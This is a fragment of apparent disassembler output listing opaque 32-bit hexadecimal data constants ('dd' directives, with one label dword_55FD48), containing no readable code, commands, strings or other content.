0C7BE00B3h, 611234D1h, 86C0A180h dd 2896A4C2h, 0AA790032h, 97CB2D2Ch, 0D400B7E4h, 8894E664h dd 70AD1E48h, 79C10008h, 900D5356h, 0FD0261B2h, 0E393D9EDh dd 0DE4C68CDh, 27BB0013h, 789FCC47h, 1601D4B6h, 0D06B6581h dd 0C5FCB8AFh, 545F0014h, 1C0F12DDh, 4500B3A6h, 0D55BDEC9h dd 0E71B9Ch, 868AB74Bh, 6CED5725h, 0B6933907h, 16208932h dd 10F4C8Eh, 0EAB79062h, 702D6C64h, 0C90E1CEBh, 0A7FD893Dh dd 91154F25h, 549FAD00h, 3A22AF7h, 0F6C1BF2Ch, 9AD26108h dd 0D80F9C80h, 8C17D2A8h, 39006C95h, 11ED5A9Fh, 0AAF70049h dd 7DDB9060h, 3B3F1686h, 8C8000A9h, 886CAEF3h, 142000ABh dd 4DA68B0h, 670098A3h, 28C2B679h, 0C25D0D5h, 5F32B9F1h dd 0C801403Ch, 83335C81h, 76C80366h, 919F0030h, 95DF17A1h dd 0EC981EB7h, 0B0E12526h, 0DA44C200h, 19156003h, 3075B57Dh dd 7AD8C762h, 201BDE3h, 0F824D971h, 0AECC4A7Bh, 46100715h dd 0F4491AA2h, 5724C1F1h, 32F88843h, 6A0780DCh, 84E6731Fh dd 342E4707h, 263BAE7h, 52DBA890h, 924C0F2Fh, 93C08BA4h dd 0AEE8FCA8h, 65BAB11Fh, 1896854Ch, 0DA2C0728h, 2939CDC3h dd 0E94FB880h, 1100A31Eh, 0CF42AD77h, 0ECAE0DFh, 46EF483Dh dd 9B1DEB60h, 8F009794h, 0D10F1690h, 1F6996ADh, 0C9641418h dd 200015CCh, 745E1ADDh, 0E798B700h, 0F267E86Eh, 0F0231CC1h dd 0D603436Ah, 9EE901D2h, 7ED9C8BCh, 9000B9E0h, 0B28EE1A5h dd 90BD740Eh, 504E0096h, 64FABBB7h, 0D300A83Fh, 0CC0735E1h dd 7797890Fh, 0E8390369h, 2A842D86h, 309F2BC9h, 1B0079DAh dd 85DD0BEAh, 77E14D9h, 2435E062h, 805235D2h, 1972D41h dd 0AC635900h, 5DB86FB4h, 0E7990010h, 0A35C3932h, 4C7EC678h dd 0BAB2CB00h, 46C39F34h, 6D0D0050h, 9AC87E61h, 20076BBh dd 0E4F4C41h, 7CEDC78Fh, 909103F6h, 0B21D25FAh, 3A6755F8h dd 5E022E00h dd 99499F36h, 0F82714Ah, 391FF201h, 96B74341h, 0A13C6009h dd 7D5E1300h, 83565FBDh, 22F6014Fh, 0C8E9DFF7h, 3027602Eh dd 4826313Ch, 78CC0099h, 7E49386h, 0A0880B49h, 500E7CE3h dd 7BD72340h, 60285366h, 3360AA3Eh, 30849738h, 0D6793DECh dd 0B800DABAh, 5427A4A0h, 0C60011BAh, 0AA720723h, 130DAC28h dd 128F17h, 0EA90C86Fh, 0C0021F8h, 33A58E6Fh, 7BFD66h dd 5542EEDBh, 0F3F19746h, 81449303h, 0E0CD7509h, 2ECA7FEFh dd 80A4896Ah, 7372EBCFh, 8E3C9991h, 7D37800Bh, 7B7CF217h dd 54C5007Fh, 0BCBED8D9h, 0A600EF94h, 44B7C25Ch, 0F38A1D12h dd 138889DCh, 0E508Ch, 376DF99Bh, 0D504A9C8h, 0FAE170FBh dd 0D9072FC0h, 0B391007Bh, 0D6B47CB0h, 1913DEF7h, 0F840A474h dd 379C272Dh, 0C6CB0ECDh, 9BEF2543h, 3FB1F780h, 18ADF80Eh dd 80ACEE0Eh, 90238BF2h, 184C608Ch, 9BA42119h, 0C4B91200h dd 14615C26h, 7780C713h, 0F9C9A0CFh, 4A1D9152h, 2C0995F0h dd 513380DCh, 0CC1AACC5h, 0E1302E40h, 2FFF7A06h, 98EC72h dd 615F26B0h, 0DF3EE232h, 7A415700h, 0FC248898h, 0E9220155h dd 40A79F2Ah, 774EE05Bh, 0AD1CCAFEh, 81C066D0h, 0A1C04147h dd 0C6650353h, 0B12692Fh, 761D8C8h, 55887503h, 0C80170B2h dd 0EB1113h, 4FA7FBD7h, 80FDB0F2h, 8260970h, 47038E3Dh dd 0A5B9104Eh, 0D6146280h, 0A164001Ah, 1C09872Bh, 0F60C97B1h dd 0C13613C8h, 5B4008Fh, 1910A96Eh, 181DEBC5h, 8318C4A1h dd 2DD21h, 0A3A9996Eh, 0AEFBFDA4h, 13284100h, 6695A01Ch dd 7B0F01B6h, 0E1AAAC0Dh, 0C42BC99Fh, 0B1727C84h, 9DA3D8F8h dd 87E177E2h, 3F1883AAh, 0A8B0CBC5h, 5959039Bh, 2750C894h dd 7AE50070h, 14A4FFC4h, 9EE8DBDCh, 8066B1CFh, 8C56F070h dd 21C1077Eh, 0BE114A48h, 0F3C03C4Fh, 7AEAB665h, 79841531h dd 41FC7229h, 908632EBh, 84828F69h, 801B35E2h, 2110AE6Eh dd 8591C691h, 6E0ED200h, 84F9C798h, 4B5CD501h, 0C8DD2F36h dd 0E4675880h, 0B664CBBBh, 0C212B7B0h, 5440ACC3h, 35AADD0h dd 3FF906F8h, 8AA2FB7h, 0F221A860h, 1E05BC0h, 0ADC9647Ah dd 9F841478h, 8B36C79h, 4E7EF094h, 0F09500ABh, 3A344DB1h dd 6C007AF5h, 2544EE82h, 28721312h, 14F24BB0h, 88EB1C34h dd 1868906h, 0F8C8A8C6h, 6DDAC3E0h, 0F04411D3h, 0D488827Ch dd 1F6D00D8h, 949D32ECh, 0EE0CBD1Ah, 0E87726F8h, 0A8441867h dd 0CE3568FFh, 0C055B6A0h, 0C9C2EC00h, 0B049C759h, 4B68009Dh dd 9D35E7Fh, 2E2494DAh, 1507D1BDh, 78701B65h, 8258Fh, 0A96F56D7h dd 1FB403BFh, 0B117A400h, 0E9302728h, 7F7705Eh, 2B320D87h dd 75743037h, 4138A0FDh, 145E9E8Fh, 0E9A2400h, 21A6CFh dd 2FAC9403h, 0C2EE148h, 28F63003h, 980AA8D4h, 8EBD3h dd 0FAFCE514h, 6E63D79Ch, 0D57B7100h, 5C86116Ah, 0D493A23h dd 2EE0377Ch, 19C7C008h, 755E9993h, 0E04DDEC3h, 0C37069C6h dd 5FB30D20h, 78683022h, 92050661h, 58BDEE6Fh, 74F93C38h dd 375980h, 0A184546Bh, 82A839E4h, 816DCA30h, 3E8E55C0h dd 88BC3443h, 8083307Ch, 0D54B2659h, 381829DEh, 846C7F21h dd 801213A1h, 12D4B20h, 1C925677h, 0FBA0B04h, 5D21633Bh dd 0CC1DC50Dh, 2750A689h, 6B425A24h, 0C9D6B201h, 0E0503CAFh dd 8AE9DD81h, 145B6D79h, 6CCB143Eh, 35386348h, 0E1813E88h dd 0AD8EF280h, 732AD90Ch, 462128C8h, 0F30039E3h, 927C8CCh dd 0B387DFh, 0D558976Bh, 5B77668Ah, 56BA3718h, 0F25DE61h dd 398F079h, 61F9B380h, 55015913h, 63A8E0BBh, 58987080h dd 56D1A125h, 0C40E0688h, 218082C1h, 8E126ADCh, 0CA7EB891h dd 4020AE23h, 0C310F009h, 85FFFB28h, 0EFF62000h, 31D07F90h dd 654E2461h, 5028618h, 860C3857h, 31D7DE4Bh, 112C9171h dd 25C80051h, 2E5FF042h, 18C00ABh, 303FF479h, 0B8FAAA66h dd 4B95CA18h, 6488E98h, 0FEE1E3CBh, 0DD39510Ah, 0EC69E2BDh dd 15E023FCh, 7E306100h, 8116A3FAh, 0ABFC0043h, 3C25DF2Bh dd 58309D6Ah, 2871D8ADh, 7F1601D7h, 0AA533DC3h, 0DEFC489Ch dd 38E5B44h, 52A68B92h, 61338880h, 8DC080Bh, 87966D78h dd 51CA8186h, 80B4839h, 0BED73C00h, 71731ED6h, 0CDD8C00h dd 0C14D09AAh, 0FB50C237h, 48008608h, 57F3A1h, 0A02F0EB3h dd 7EC0AF2Ah, 0F618517Dh, 8E6897AEh, 0BD0502CFh, 3FF2415Bh dd 0D8D38490h, 88CE989h, 75590BFBh, 0B1D4C702h, 805FEA1Ch dd 0A5428E10h, 406F6043h, 0DC896BA1h, 0C158F100h, 0DEC5BC26h dd 1E7A7979h, 8EBA97C0h, 7E8E0E73h, 4CBB123Eh, 5C413538h dd 4891EC04h, 789950D5h, 0C0FD0020h, 74B9F699h, 0B400D656h dd 9F1F2E46h, 54E0EC3Bh, 0AFA083h, 7D07B622h, 88AB38F3h dd 1FAEA30Fh, 0DE0F57CFh, 4B791867h, 0E13463D7h, 41017DE0h dd 1F0861DBh, 70EC0628h, 485549A5h, 97207801h, 20AB3FA2h dd 22043C68h, 0DC966AA9h, 80FB04D2h, 24291054h, 33A80299h dd 760C661Dh, 0DE79898Ch, 0DC1EB4A4h, 481E625h, 7E2878C5h dd 80012421h, 798056A3h, 0A8EFD12Eh, 0CAE47A2Ch, 0C87B7315h dd 20314E4h, 80DD3F50h, 4D473F58h, 1975A359h, 511CA853h dd 8C5824A7h, 0B854302Ah, 0E6C07A07h, 0EE02513h, 1ADFAF41h dd 0D0260904h, 0CC4E00B0h, 1795C0F9h, 0BB809493h, 0B4A54719h dd 0D71600A8h, 0DDB32891h, 0CB264DD3h, 0DC26BC06h, 11D28509h dd 2C40F66Ch, 39DF1458h, 0BA261331h, 3FB3C040h, 3801DD9Ah dd 9F3B6A2Ah, 998AE0B9h, 43F8E102h, 16E864E4h, 4F00C42Ah dd 0E95DE024h, 9206F72Bh, 1DDD0020h, 77F0B581h, 5055AF02h dd 0E1376098h, 79D3A4E0h, 264C1010h, 9813BC71h, 0EF0D3C1Fh dd 40A9192Fh, 20351678h, 375EDE3Ch, 0DA21900h, 0CB6BA70Bh dd 0E7504B3h, 0D85F99E4h, 883C905Ch, 0F1AC80BCh, 405982F6h dd 1D87C12h, 37047E95h, 17818C13h, 9ECCA8F0h, 84BE98BFh dd 0B1DF64CCh, 0D2488D6h, 0E118349Ah, 0C6685D59h, 1ABFCC9h dd 92B6A143h, 0C4AA8371h, 21FCB151h, 0F9865233h, 8ED0A23Ch dd 0E7700A1h, 215F4DDh, 0D3223D41h, 40CA7331h, 75003C66h dd 89CADAA1h, 75D3155h, 43FB191Ah, 0BA4AA01Fh, 0A0C8121Eh dd 5418E9D0h, 0AD002962h, 7AF075E7h, 1F6B620h, 0A7483E39h dd 1054333Dh, 7F69B259h, 44610CD8h, 0CF410CD6h, 7DE7101Ah dd 0F91C645Ah, 0D71C8814h, 4C5030FDh, 0F1B319C7h, 9908FAE0h dd 7630051h, 8AA0C061h, 0AC0AED16h, 0D8382CD3h, 4842F4A0h dd 0EB005622h, 91EE42FDh, 4CAB90D5h, 0D011D84Fh, 22045880h dd 49A76EC2h, 2081702Dh, 0C1CF0764h, 89AAA0B7h, 8C165Dh dd 666365E2h, 0AC060DF7h, 0EA2A140Bh, 0A8089037h, 85E20531h dd 90D2BE34h, 0A3E52630h, 0A951F301h, 84CB4B25h, 522E848h dd 0A3E90258h, 54D888E0h, 12A1D300h, 505EF79Ah, 0B207767h dd 2EDA0C76h, 1858E010h, 529888B9h, 0E9D1ED9h, 9BC13EDFh dd 0ECB3661h, 27BCC50h, 1006F124h, 3E4F5444h, 50D972A0h dd 303D457h, 0DD80899Fh, 0FB212E4Eh, 78F540E8h, 7204343Ah dd 283FC57h, 0D9036490h, 0E9012C04h, 81DBED8h, 517C2452h dd 2CECD2E9h, 297E3C00h, 0D318F0F9h, 0BBE11058h, 4006145Dh dd 0AC3E8AE8h, 810067A6h, 32214ED9h, 46080372h, 9A2DC818h dd 366DD1F1h, 53AF00C4h, 0F6CC77Eh, 0E802094Ch, 48AA5298h dd 0FDEC8878h dword_55FD48 dd 0DFCCCCBFh, 0E471091Bh, 9E80A49Dh, 599264CCh, 0CE007BC7h dd 7629CA20h, 648D22C9h, 408131EAh, 0B27DE13Ah, 405302E6h dd 751D4C9Ah, 0E004849Ah, 224C5488h, 80066556h, 10E82035h dd 780080E2h, 0BEF654A2h, 0EB306F9Fh, 0D781F086h, 34922955h dd 6682449h, 0D5B533Fh, 4EA33061h, 0FE3288D1h, 9006874h dd 1B2BAA78h, 0DE8BB7h, 1E514AEh, 829EF3FCh, 0F90A5091h dd 6F808806h, 0AABD95B1h, 372EA6Dh, 0C4A0DD75h, 0E3A8B4DCh dd 44098D26h, 22ADAA6Ah, 50588A7Ch, 509B28h, 0BA0806FFh dd 0BC920219h, 0B0E00148h, 4B9408Bh, 263C47E3h, 0C82129Ah dd 0F2DCAFFEh, 0FC2244D0h, 0D864019Bh, 2CE2986h, 3EC07072h dd 0E03B52h, 44B19221h, 74813Ah, 18093D95h, 41CB6CEBh dd 70A1A804h, 0E48834D6h, 1266ECB1h, 821542D2h, 0D864E000h dd 0E8007274h, 0EEEB481Eh, 2647B7DBh, 984C062h, 2C90956Dh dd 5496358Ah, 39CB8980h, 0F7A59Fh, 99B24870h, 6D6F155h dd 0E7870202h, 49CD685Ch, 88504164h, 14BE2Eh, 16EB0E0Fh dd 280D6880h, 67643201h, 0D54334CCh, 1C44C463h, 74C9005Ah dd 3A702E4Dh, 0F43CCD60h, 18A38087h, 26C04FA6h, 806494E0h dd 91DB6F76h, 0D605B841h, 6CD5B31Eh, 0A571E021h, 72002022h dd 90244554h, 0B9F2C210h, 4AB48C00h, 0F47DC9E8h, 0A3550D18h dd 0F0894BA4h, 5000FC82h, 16856CBFh, 5DC15165h, 26137437h dd 8B80008Eh, 0ED736914h, 36C60402h, 4870A6FBh, 0A4916D1Ch dd 0A6815CBCh, 97F0A845h, 11C1D884h, 0A3897B8Ch, 4D002462h dd 0E2F5378Ah, 0F0000845h, 3AD23339h, 24B1989Eh, 252C961Dh dd 7B716C81h, 8C3051D4h, 0C5002C85h, 5C8A0302h, 40F83424h dd 0D08B9CE2h, 7324DB00h, 0DA1E1D5Eh, 2A4B77E1h, 884AA0h dd 8E48F568h, 940F91E8h, 0C64B0400h, 84A6E3B2h, 251A0B0Bh dd 0F407D5C9h, 304AD97Fh, 5193A810h, 0CF0AA203h, 8157D305h dd 0BE215FC0h, 3FD69183h, 0A90082E1h, 38763C4h, 13439D2Dh dd 103D4698h, 0CAC4A80Ch, 87B4218Eh, 0FC91FB0Ch, 414BA00h dd 120B1C8h, 33E962FDh, 0FCB05395h, 1C12A599h, 5C52EF08h dd 0B76B08D0h, 8F0707Fh, 5FA53562h, 0D90F4C20h, 8257A08Eh dd 6CFA0539h, 0E102288Ch, 0DD490044h, 9864049Ah, 0A4312E91h dd 36D1B977h, 0DA40C114h, 0B879A95Eh, 6D3C1680h, 0C8CD6Ch dd 79D6B72Fh, 0B634E70Eh, 0C9A07E01h, 7319E5B1h, 0DF5C3Dh dd 0AFDED993h, 0CB12E038h, 44E288h, 35494EF7h, 0B43914E8h dd 0DF90BB07h, 0A0E04838h, 275FD8B2h, 5CA46045h, 0DD81436Bh dd 52394855h, 0F0D0802h, 60810103h, 62E7D6B2h, 0FC0429A4h dd 0D985350Ch, 0CD4402C6h, 0F02DBD8Dh, 0D63D5C48h, 0F89A73FEh dd 0D72E0EF0h, 0FB971403h, 90796420h, 67B60043h, 3F48A8A3h dd 0D578D4C6h, 7E3E261Dh, 480C48FDh, 9AD00Ch, 0BC472775h dd 0E2974B8Ch, 0C099F8h, 0CD8E9CBDh, 0F2048726h, 3922F51Fh dd 49C093h, 9118AEB9h, 0CA361BC5h, 0D1256212h, 0CE30A054h dd 169E20F7h, 0ABC7C1h, 0E27BF5D8h, 264DA387h, 0AF9F0E0Ch dd 74B35832h, 0F4B320h, 1A38C492h, 0FC1CB58Ch, 9356AB36h dd 5D59B021h, 7446CB12h, 9D859521h, 0C4B82CDFh, 90F8E9h dd 26C2D637h, 2544CB16h, 14106F47h, 0CCA442EBh, 0A03C44h dd 49F52CEAh, 0C4311877h, 0BF7B2400h, 0C5CADB97h, 883D32A1h dd 0E22D7C81h, 0CC088980h, 0A57A2269h, 9782E300h, 0B5C3A8D9h dd 0C0E17B29h, 0FF837931h, 7003CF6h, 0DB4509A0h, 1EDAE7B8h dd 2419AEEEh, 7F1A4000h, 8B19DEBh, 24472B00h, 3CBB294Ah dd 0CA00FF92h, 0BFD77037h, 0FCE1759Eh, 857A0D71h, 2100EDE8h dd 0B37EA295h, 7FCB4B6Fh, 91F1D33Ch, 0ED6DD594h, 609861BEh dd 109EB6A6h, 6BCC48C0h, 0B8105D31h, 84D9D710h, 2C5051ECh dd 10D84B15h, 4449E921h, 989626E0h, 5F50006Ch, 4B7E68D3h dd 0BA95505h, 28C8EDF4h, 0D73C8849h, 9EAE707h, 0B48472CAh dd 45D120E4h, 4C2333h, 8D21D3C4h, 0ACF9EDBh, 0F83C577Ch dd 0A2470014h, 0BFABC28Ch, 0CDE69400h, 6053EFE2h, 503050C4h dd 19852E0Ch, 74833CF9h, 0F443916Eh, 0C96AB5D8h, 1079B90Ch dd 8883790Bh, 21006430h, 0D4957CBEh, 0B242D3Ah, 0E7894B7h dd 10572469h, 0F9CAC9h, 92EA6A19h, 0D5FD959Ah, 0B9A01714h dd 0D1B40064h, 0F09D3C8Fh, 4CE60086h, 16BA6DD0h, 3B0559A8h dd 6F024A9Fh, 887FD4A4h, 4379658Dh, 81730E01h, 7EA45A1Ah dd 1397D8C4h, 4B9CD9B3h, 6811A348h, 2983C861h, 456C8D2Eh dd 8093507h, 915ED2F0h, 24B385h, 842E3090h, 0C24EB115h dd 0B8006DBCh, 36BD56C9h, 0CF5CA934h, 42097F4h, 483732Dh dd 0A9E822B5h, 0BCF30Fh, 6BC4EF26h, 7E533AEAh, 0C1B25838h dd 0F8A47509h, 0B5EBF048h, 0F9A51200h, 0FAEA6C15h, 99972742h dd 40339CA4h, 2392D146h, 6FDB024Dh, 4BF48FA6h, 417609F5h dd 28AEED4Ch, 0C8AE45B4h, 3CE31B1Ch, 1A5B8B74h, 7D9E408Ch dd 980B0174h, 27191FDh, 0E7A444FEh, 50186D64h, 8074D3F2h dd 91659B3Ah, 2A2F31B4h, 85982472h, 0BB04F826h, 398CC1C9h dd 11C6B4E5h, 3C3124h, 6BD48128h, 2C208BCh, 16CE612h, 599305DDh dd 79BA3EBFh, 0D03D0114h, 78280D67h, 3E9A58C8h, 71EBF90Ah dd 7B97D810h, 33427099h, 8F9FE034h, 0A0D0079h, 0C5E14202h dd 20D4EB8Bh, 962EC070h, 0FC1D3F77h, 0D8CD0388h, 0F8F9F49Eh dd 1158202Fh, 0C89103DCh, 0AA0C5054h, 9AE3C40h, 0A2E2DE3Fh dd 0C0DCEC68h, 99E11709h, 4CCCECF0h, 3C83CD0h, 7F7BA053h dd 35BB5A8Ch, 6F30C878h, 0B903AF03h, 0D88F9DF1h, 7253A62Eh dd 4DDF1EF7h, 0E0582C5Eh, 65A47CE6h, 0DBEF7800h, 0A7BEF3EBh dd 0C958187h, 7E08F5D1h, 27268844h, 0AC90ED4Bh, 1A09FC91h dd 62DC7B51h, 0E968B074h, 0BD530026h, 0A3CE0335h, 0C709BBC2h dd 449855DFh, 44295FC0h, 57C2918Ch, 19F08841h, 40EA386Bh dd 12C058F2h, 2272DE77h, 0F212EB30h, 581C9C44h, 0C201428Ch dd 363205C7h, 71883A6Ah, 18C9C196h, 0A62B88h, 6CE7482Dh dd 0DD52C5ABh, 0A14E420Ch, 2B81B87Ch, 78E4D0h, 885DABD9h dd 62007CC4h, 2315C182h, 0A0BC4159h, 48AF71ACh, 0A0045C17h dd 0F338B525h, 0B9EB2708h, 59850554h, 0FC11F6h, 0DEE7B1E7h dd 7200D2A2h, 206C7AC4h, 27C212CAh, 58B09A6Bh, 5800A378h dd 4C75D3A1h, 20C723Ch, 1CFB55CBh, 20661139h, 58AF022Ch dd 4CE0A026h, 5FF6597Dh, 823C1757h, 0D0B12530h, 0A5C6C8EBh dd 0CC3C0954h, 0C540406h, 0AE771Fh, 6553E68Eh, 0AF085655h dd 0C778705Dh, 1D909CC8h, 4477A99h, 3D5A2C1Fh, 0E2C4D0A2h dd 0F09D059h, 4984EDF1h, 11FE0384h, 0EEE51081h, 0A95D0058h dd 8ABD96AEh, 78F3D210h, 177CC340h, 0F5A9F83Ch, 2201008Eh dd 0B83FFC07h, 532B0A16h, 8038BC88h, 0BB641EE6h, 3FFA36A8h dd 4100E4E8h, 0D3ACFD79h, 2C094266h, 6CF702DBh, 404494CCh dd 883C4B6Ah, 470C2412h, 0AA9F0420h, 18C000C6h, 9DD25283h dd 20AA70BAh, 8CB0CC09h, 5EE2BC0Eh, 3B4D705h, 5480EE47h dd 62E93FEh, 0D641DC8Ah, 38B6786Ch, 0EC991880h, 1F532C07h dd 35A7350h, 59A7E567h, 0DCA40DE1h, 5896929Bh, 0E3791340h dd 0E4FEE6h, 0FBE19F58h, 5E89222Dh, 28718B02h, 0AE9D34F3h dd 9820B3CCh, 64B6CAh, 70C20350h, 3210BC15h, 0DFACA504h dd 73005D59h dd 55345279h, 0B8451200h, 0E707564Fh, 6074B6D7h, 27A1225Bh dd 0F017900h, 0AFF698CBh, 516802FFh, 164E69DBh, 21005CEEh dd 0AC473C34h, 2247E59h, 4532FCD1h, 951D8h, 6BD222C4h dd 4430984Eh, 1B090C81h, 5B0B1352h, 79190014h, 0EDC8C6F4h dd 39BC4B00h, 13FE86F8h, 0F5290147h, 94276C9Ah, 0F03C0085h dd 3B6900E8h, 717315AFh, 0D001B152h, 240942DFh, 0DACAF102h dd 0B4885478h, 6705079Ch, 6429204Fh, 29F88D5Fh, 0AF33006Ch dd 9C2177A5h, 144B09D6h, 4C714D31h, 20B1611h, 3C0439D9h dd 4D5026CFh, 0DE800Dh, 8808DFA3h, 0D2207FABh, 72060041h dd 1B2632EDh, 0C012ADB4h, 34B30AF8h, 4E925811h, 63EE0020h dd 133B029h, 421C6AF7h, 74583959h, 0F384FE50h, 0BC63839h dd 7E2159EAh, 4A1114h, 4B1AC52h, 48E4E3h, 3B27588Dh, 2C8B26Eh dd 0FA023899h, 0E4836BBDh, 248A5808h, 73C304Fh, 8E00FBAFh dd 383F2FC3h, 0B1ECCCh, 0A6FE4678h, 1205C95Fh, 6C60E894h dd 4C7287D5h, 4500F64Ah, 124D13D2h, 0E824847Dh, 7A11105Eh dd 7F21F600h, 2C70F7E4h, 8900DEE0h, 992BBBA3h, 0A686F584h dd 38E08A0h, 123E5101h, 808A2D7h, 403E4419h, 0CE686FAAh dd 0A328000Bh, 12A67EDh, 8F159B50h, 21A42945h, 0B46D0BD3h dd 3D265C10h, 2C90FCA6h, 99EAB901h, 12083CD2h, 94C02078h dd 61A12D6Eh, 3459D00h, 5FF648DDh, 0EC76087Eh, 4B05255Eh dd 48C8DAD8h, 446C99EDh, 4D94404Ch, 22E326h, 0C3D788E6h dd 554751FBh, 21B97D0Bh, 9C6C44AAh, 0D4896E24h, 3463844h dd 95FB9C44h, 83E3B4A1h, 3F09F4BFh, 0F603417Fh, 0A4C1644Fh dd 0CEDFDA87h, 0B07F0300h, 55F514FFh, 0FE041FF8h, 96582559h dd 270C04D2h, 0F195E001h, 7CBC8587h, 71703C80h, 4D0B20Dh dd 7308A2F0h, 143888B9h, 88FEC202h, 0E425F8ADh, 6B80255Ch dd 211C8C5h, 9F3B7F00h, 0D7306BAh, 0F1030F1h, 8DAAE504h dd 0C8246B40h, 0CF7F82BCh, 4A3348h, 90FDD0Eh, 5FD6B1FFh dd 297024E6h, 1CE032CCh, 50805145h, 0C7AF32E0h, 8884605Dh dd 0D2598E58h, 2141AD02h, 54F4DC24h, 58646988h, 0C421535Ah dd 58398B3Bh, 7CE80225h, 5460A571h, 0F62A8381h, 0D2E50439h dd 0A16015FDh, 845C6918h, 3C4157DAh, 0D19B7E22h, 1247350h dd 0D02807AFh, 702CE9EAh, 0C05AA3C9h, 97C55406h, 44A08EA4h dd 58488A6Ch, 0B890D21Ch, 1450E6CDh, 0C9A9DED7h, 0A8D9F502h dd 9CD1124Ch, 7671CD80h, 8B776Eh, 0CBA8F34h, 518D42EBh dd 8130A55Ch, 17EC4126h, 9F83FFCh, 0B78D6756h, 0AA4C7102h dd 22580D0h, 42384406h, 0A01034D8h, 4530D8h, 5794C6C0h dd 23D2B275h, 5E385D03h, 98E84D9Fh, 5D0741FAh, 1224476h dd 960035F0h, 83629BFCh, 2785371h, 5B04A51Eh, 98987005h dd 0F205DC26h, 7379AF75h, 0CE00DCA6h, 0CF8C96E7h, 58419880h dd 6A0A3040h, 209095FEh, 3602BCC3h, 7B612179h, 0A53C76CAh dd 72022868h, 7C96D3F8h, 0B9D26D81h, 1180E935h, 0EB3672DEh dd 0B079D898h, 6190100h, 0CBC36B5Eh, 1D69005Bh, 52D2FA0Bh dd 0CC748DDAh, 1819DD0Eh, 50088254h, 4EB5031Bh, 41280818h dd 0EB8111h, 0A7894239h, 0DBDF1344h, 5206147Ch, 539DF2BDh dd 57E40028h, 0BF97C615h, 8918081Fh, 2A40760Eh, 300C603Ch dd 8361C4DDh, 1DCF5B3Ah, 0DEC7763Fh, 73210AFAh, 1D00D7A8h dd 0B440053Ch, 481E38E3h, 409E9F9Eh, 50C9AAA7h, 20D1F732h dd 0D5C10014h, 84516E2Bh, 0D6611E0Dh, 57EC04B8h, 0B3FE04D3h dd 5FB5BE00h, 583FD6A8h, 0BB4200AEh, 72E5E617h, 50C876C9h dd 0C0F28866h, 948519B1h, 99762691h, 9DAD5800h, 7EE50A8Eh dd 1815FE1Ah, 0B8E721B5h, 0BF005452h, 0D52D723Ch, 573551h dd 0AEA8DEC9h, 6699BA61h, 52DA4740h, 4420C091h, 110DF970h dd 18B266E6h, 0A84929E0h, 677BC0h, 9F082F5Fh, 9EDF7D17h dd 1185D200h, 9A1DEE18h, 0FAAC0B0Ch, 277AF13h, 0AE086527h dd 0E8458A8Ch, 5B00B59Fh, 44BD238Ah, 1BAEE887h, 102276FAh dd 42B8BBA1h, 1486F90Ch, 4118084Fh, 86393FF5h, 3067F8BEh dd 6431B999h, 0EF0CB49Dh, 3979A5E9h, 428E642h, 0F35B2AF8h dd 813FC110h, 0FE9BD8F6h, 95ADC000h, 3EB791D5h, 4846672Eh dd 4167A3BDh, 8002BCA3h, 0EC0E4B1Dh, 0A710808Dh, 134D139h dd 0D553E04Dh, 881E972Ch, 0B385B9C1h, 0A3F90399h, 0E1BE5Fh dd 0AEFAA735h, 0A146E552h, 80FE7664h, 6BF01D7Ch, 0DDE53102h dd 0B8428C10h, 6CBE0079h, 1ED16332h, 3CF80325h, 86A241A6h dd 83582019h, 0A4101030h, 3A0745F7h, 8DAF54F9h, 2C31184h dd 0EF2EB0AEh, 0A324190Bh, 851EA9A7h, 0A9E551E8h, 6C98805Fh dd 709CB9h, 0FA891FA7h, 0AFC7205Bh, 37D79500h, 3F818B3Eh dd 80BE57B8h, 241B9520h, 0B091D42Ch, 30C4B607h, 1D596EA5h dd 341FE8B8h, 0ACF89C7h, 3C562257h, 77460F3h, 3030FE06h dd 24906883h, 0E40621B8h, 84A675CFh, 9BF73769h, 3B0922B1h dd 8883104Ch, 4081C83Ah, 697DE0h, 1D84EDCCh, 6AB7392h dd 0AF804550h, 2446E905h, 5804802Fh, 40912068h, 7180AD96h dd 0F6D6B054h, 533FC4A6h, 3E4D0EAh, 412A9678h, 0EBEFEC26h dd 40CE3100h, 2B9A4355h, 0AE59C178h, 838889D0h, 0FB4BF5D8h dd 3B92825h, 0D16707FCh, 7412DB43h, 1D049079h, 9CA973A5h dd 0E0C530AAh, 917B7500h, 0B5A18C0Ch, 3BF4C8Ah, 833CFD00h dd 4A08DC6Bh, 64250628h, 87416060h, 31F8CBD3h, 4C10E769h dd 609841B2h, 87088053h, 174BF2E8h, 902C0378h, 0B95623C3h dd 0F21F380h, 0AF967B18h, 0F4D972E1h, 0F7011C17h, 7150C0A4h dd 0A2DCDEFEh, 0A4231324h, 0E18846h, 1E4F9EEEh, 5115A1Dh dd 0B44598A4h, 523DE0h, 5CD8859Dh, 2B657221h, 326DE78h dd 0E30A9E24h, 960C2889h, 0B539AEh, 7AF66AB2h, 0AD03D37h dd 0D22CBA01h, 7DEE7959h, 46670823h, 0E0C3A0C9h, 0D01FA3C0h dd 10281E57h, 0AEB0A761h, 985074C2h, 49053E67h, 0C50A0C45h dd 100C1E42h, 50DB8404h, 3AF354D1h, 1428B212h, 0C0762441h dd 0EC0AB454h, 1064D0DDh, 0FD0FF840h, 17032694h, 0C5A4B783h dd 0C6310524h, 1EE4105Eh, 483D8A9Ch, 6AAE002Ch, 0E395027Eh dd 801C1F48h, 0A0BADC0Ch, 19C0E896h, 0C15FD69Bh, 3039BC4Ch dd 8A4E7941h, 5260082h, 401065C0h, 6F19039Fh, 23D8AE3Dh dd 34406D12h, 3A33432Ch, 30BC68E0h, 24218B18h, 4CA01705h dd 0A029C08h, 0F45170FCh, 0E0D84B98h, 0E66EC0B7h, 0E3720329h dd 76DF7595h, 318B853h, 716A9753h, 4D7E41Ch, 495FC25h dd 0B4B0B470h, 0A7E903D2h, 7B293EC1h, 0FF418109h, 20CB23Ah dd 0C6B3767Ch, 12FB4238h, 884C8D68h, 0E193936h, 2AE013F4h dd 96EBA42h, 8658DC64h, 957CC858h, 760FE867h, 7213B3BAh dd 1CE090E4h, 0C400B933h, 2D7CE8F6h, 0E75BB6F9h, 0BADD998Ah dd 0F7750299h, 0C86496B0h, 817344h, 884D72F9h, 6CF2FA66h dd 0F3AE8F04h, 60882407h, 714C608Ch, 348945E0h, 0F05BE50Ah dd 0B2919CDBh, 1E6A8A00h, 0AD651833h, 5829E400h, 21AFE302h dd 0A6B05C55h, 88D91A15h, 0AD6723C0h, 45985C9Bh, 0E1079526h dd 6C644C1Eh, 54FD1B40h, 464914A1h, 0D200E47Fh, 12046F67h dd 1E49BF94h, 0EFBC417Ch, 5760D918h, 1CCB6441h, 4084F0CFh dd 0F62F94FEh, 4001786h, 0ED4C1F3Dh, 98FB9135h, 80C32ADCh dd 